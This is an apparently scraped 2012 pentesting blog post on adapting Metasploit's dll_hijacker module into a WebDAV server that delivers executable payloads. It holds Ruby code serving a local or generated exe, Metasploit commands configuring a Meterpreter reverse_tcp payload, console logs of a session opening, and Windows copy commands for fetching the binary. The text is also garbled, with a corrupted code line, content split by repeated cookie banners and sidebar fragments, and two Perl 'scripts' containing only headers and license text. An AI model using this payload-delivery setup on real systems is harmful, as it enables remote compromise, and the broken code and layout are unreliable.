

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !



Wednesday, June 6, 2012

WebDAV Server to Download Custom Executable or MSF Generated Executables

CG / 9:00AM

Metasploit comes with [dllhijacker](#) module

The current module does not allow you to download exe's, in fact these are specifically blacklisted. This makes sense because that's not what the exploit is for. Anyway, someone asked me if it was possible to download a file (specifically a pre-generated exe) over WebDAV. I know an auxiliary module to be a webdav server has been a [request](#) for awhile, but it looked like the `dll_hijacker` module could accomplish it. I added a block of code to the `process_get` function to handle the exe and then removed .exe from the blacklist.

```
119 if (request_uri =~ /\.exe$/i)
120   if datastore['LOCALEXE']
121     myfile = datastore['LOCALEXE']<del>derstore['LOCALEXE']</del>
122     print_status("#{cli.peerhost}#{cli.peerport} GET => Delivering Local EXE Payload [ #{myfile}
123     data = File.open(myfile, "rb"){|io| io.read }
124     send_response(cli, data, { "Content-Type" => "application/octet-stream" })
125     return
126   else
127     print_status("#{cli.peerhost}#{cli.peerport} GET => Delivering Generated EXE Payload")
128     return if (p = regenerate_payload(cli)) == nil
129     data = generate_payload_exe( code => p.staged )
130     send_response(cli, data, { "Content-Type" => "application/octet-stream" })
131     return
132   end
133 else
134   print_status "something went wrong with our logic"
135 end
```

So if LOCALEXE is set to TRUE then serve up the local exe in the path/filename you specify, if not generate an executable based on the payload options (Yes, I realize AV will essentially make this part useless).

The below is a "show options" with nothing set, default is to generate a EXE payload, if you want to set your own local EXE you need to set LOCALEXE to TRUE.

BLOG ARCHIVE

- ▶ [2020](#) (3)
- ▶ [2019](#) (24)
- ▶ [2018](#) (2)
- ▶ [2017](#) (16)
- ▶ [2016](#) (13)
- ▶ [2015](#) (31)
- ▶ [2014](#) (10)
- ▶ [2013](#) (21)
- ▼ [2012](#) (53)
 - ▶ [December](#) (3)
 - ▶ [November](#) (5)
 - ▶ [October](#) (11)
 - ▶ [September](#) (6)
 - ▶ [August](#) (2)
 - ▼ [June](#) (2)
 - [WebDAV Server to Download Custom Executable or MSF...](#)
 - [Burp Intruder and Timing Options](#)
 - ▶ [May](#) (12)
 - ▶ [April](#) (6)
 - ▶ [March](#) (1)
 - ▶ [February](#) (3)
 - ▶ [January](#) (2)
- ▶ [2011](#) (50)
- ▶ [2010](#) (54)
- ▶ [2009](#) (125)
- ▶ [2008](#) (169)
- ▶ [2007](#) (73)

LINKS

- [carnal0wnage On Slideshare](#)
- [carnal0wnage Vimeo Channel](#)

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

EN SAVOIR PLUS OK !

Name	Current Setting	Required	Description
-----	-----	-----	-----
BASENAME	policy	yes	The base name for the listed files.
EXTENSIONS	txt	yes	The list of extensions to generate
LOCALEXE	false	yes	Use a local exe instead of generating one based on p
LOCALFILE	myexe.exe	yes	The file name to serve up
LOCALROOT	/tmp/	yes	The local file path to serve up
SHARENAME	documents	yes	The name of the share-level share.
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address
SRVPORT	80	yes	The daemon port to listen on (do not change)
SSLCert		no	Path to a custom SSL certificate (default is randomly
URIPATH	/	yes	The URI to use (do not change).

Exploit target:

Id	Name
--	----
0	Automatic

```
msf exploit(webdav_file_server) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(webdav_file_server) > set LHOST 192.168.26.129
LHOST => 192.168.26.129
msf exploit(webdav_file_server) > set LPORT 5555
LPORT => 5555
```

```
msf exploit(webdav_file_server) > exploit
```

```
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.26.129:5555
[*]
[*] Exploit links are now available at \\192.168.26.129\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.26.129:80/
[*] Server started.
```

```
msf exploit(webdav_file_server) > [*] 192.168.26.1:17904 OPTIONS /documents/myexe.exe
[*] 192.168.26.1:17904 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17904 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17904 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17904 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17904 PROPFIND /documents
[*] 192.168.26.1:17904 PROPFIND => 301 (/documents)
[*] 192.168.26.1:17904 PROPFIND /documents/
[*] 192.168.26.1:17904 PROPFIND => 207 Directory (/documents/)
[*] 192.168.26.1:17904 PROPFIND => 207 Top-Level Directory
[*] 192.168.26.1:17904 GET => Delivering Generated EXE Payload
```

****Manually execute the exe****

```
[*] Sending stage (752128 bytes) to 192.168.26.1
[*] Meterpreter session 1 opened (192.168.26.129:5555 -> 192.168.26.1:17800) at Thu May 17 23:30:00
```

Now if you want to serve a local exe

```
msf exploit(webdav_file_server) > jobs -K
```

POPULAR POSTS

WebDAV update target EC2 snapshots
I watched a good DER CON video on abusing public...

The Duality of Attackers - Or Why Bad Guys are a Good Thing™
Apr-27 - 2020

What is your GCP infra worth?...about ~\$700 [Bugbounty]
Mar-13 - 2020

BugBounty story #bugbountytip
A fixed but...

CONTRIBUTORS

- Javuto
- ckricky

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

[EN SAVOIR PLUS](#) [OK !](#)

```
msf exploit(webdav_file_server) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.26.129:5555
[*]
[*] Exploit links are now available at \\192.168.26.129\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.26.129:80/
[*] Server started.

msf exploit(webdav_file_server) > [*] 192.168.26.1:17870 OPTIONS /documents/myexe.exe
[*] 192.168.26.1:17870 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17870 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17870 PROPFIND /documents/myexe.exe
[*] 192.168.26.1:17870 PROPFIND => 207 File (/documents/myexe.exe)
[*] 192.168.26.1:17870 PROPFIND /documents
[*] 192.168.26.1:17870 PROPFIND => 301 (/documents)
[*] 192.168.26.1:17870 PROPFIND /documents/
[*] 192.168.26.1:17870 PROPFIND => 207 Directory (/documents/)
[*] 192.168.26.1:17870 PROPFIND => 207 Top-Level Directory
[*] 192.168.26.1:17870 GET => Delivering Local EXE Payload [ /tmp/myexe.exe ]
```

I've tested this on windows 7 and windows XP
and I've been told this works with IE7 and below but not
IE8. I've just been executing it on the command line.

Usage*:

```
copy \\ip\documents\myexe.exe myexe.exe
```

You may have to net use first

```
net use \\ip\documents\ /User:Guest
```

You'll see windows attempt the request of SMB, fail, then
switch to doing the WebDAV thing.

Once the bin is on the box you can exec the bin manually.

*there are a couple of other ways to run this, the guy that
asked me to help with all this will have a post on it soon.

code is [HERE](#) in the github repo, be gentle i dont usually
do exploit code...

-CG

🔗 Metasploit, Pentesting, webdav

Share Post [f](#) [t](#) [g+](#) [in](#) [t](#)

Ce site utilise des cookies provenant de Google pour fournir ses services et analyser le trafic. Votre adresse IP et votre user-agent, ainsi que des statistiques relatives aux performances et à la sécurité, sont transmis à Google afin d'assurer un service de qualité, de générer des statistiques d'utilisation, et de détecter et de résoudre les problèmes d'abus.

[EN SAVOIR PLUS](#) [OK !](#)

```
#!/usr/bin/perl -w
#
# WebDAV Server to Download Custom Executable or MSF Generated Executables
#
# Usage: perl webdav_server.pl [options]
#
# Options:
# -h, --help            display this help message
# -p, --port PORT        listen on PORT (default: 80)
# -s, --ssl              enable SSL (default: disabled)
# -c, --cert CERT        SSL certificate file (required if SSL is enabled)
# -k, --key KEY          SSL private key file (required if SSL is enabled)
# -d, --dir DIR          directory to serve (default: /var/www)
# -u, --user USER        username to serve as (default: www)
# -g, --group GROUP      group to serve as (default: www)
# -v, --verbose          verbose output
# -q, --quiet            quiet output
# -V, --version          display version
#
# Example:
# perl webdav_server.pl -p 8080 -s -c /etc/ssl/certs/cert.pem -k /etc/ssl/private/key.pem -d /var/www
#
# Copyright (c) 2012, Carnal0wnage
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
#    this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
#    this list of conditions and the following disclaimer in the documentation
#    and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
#    contributors may be used to endorse or promote products derived from
#    this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Carnal0wnage
#
#
```

```
#!/usr/bin/perl -w
#
# WebDAV Client to Download Custom Executable or MSF Generated Executables
#
# Usage: perl webdav_client.pl [options]
#
# Options:
# -h, --help            display this help message
# -u, --url URL          URL of the WebDAV server (required)
# -f, --file FILE        local file to download (required)
# -s, --ssl              enable SSL (default: disabled)
# -c, --cert CERT        SSL certificate file (required if SSL is enabled)
# -k, --key KEY          SSL private key file (required if SSL is enabled)
# -v, --verbose          verbose output
# -q, --quiet            quiet output
# -V, --version          display version
#
# Example:
# perl webdav_client.pl -u http://192.168.1.1:8080 -f /tmp/custom_executable.exe
#
# Copyright (c) 2012, Carnal0wnage
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
#    this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
#    this list of conditions and the following disclaimer in the documentation
#    and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
#    contributors may be used to endorse or promote products derived from
#    this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Carnal0wnage
#
#
```

No comments:

[Post a Comment](#)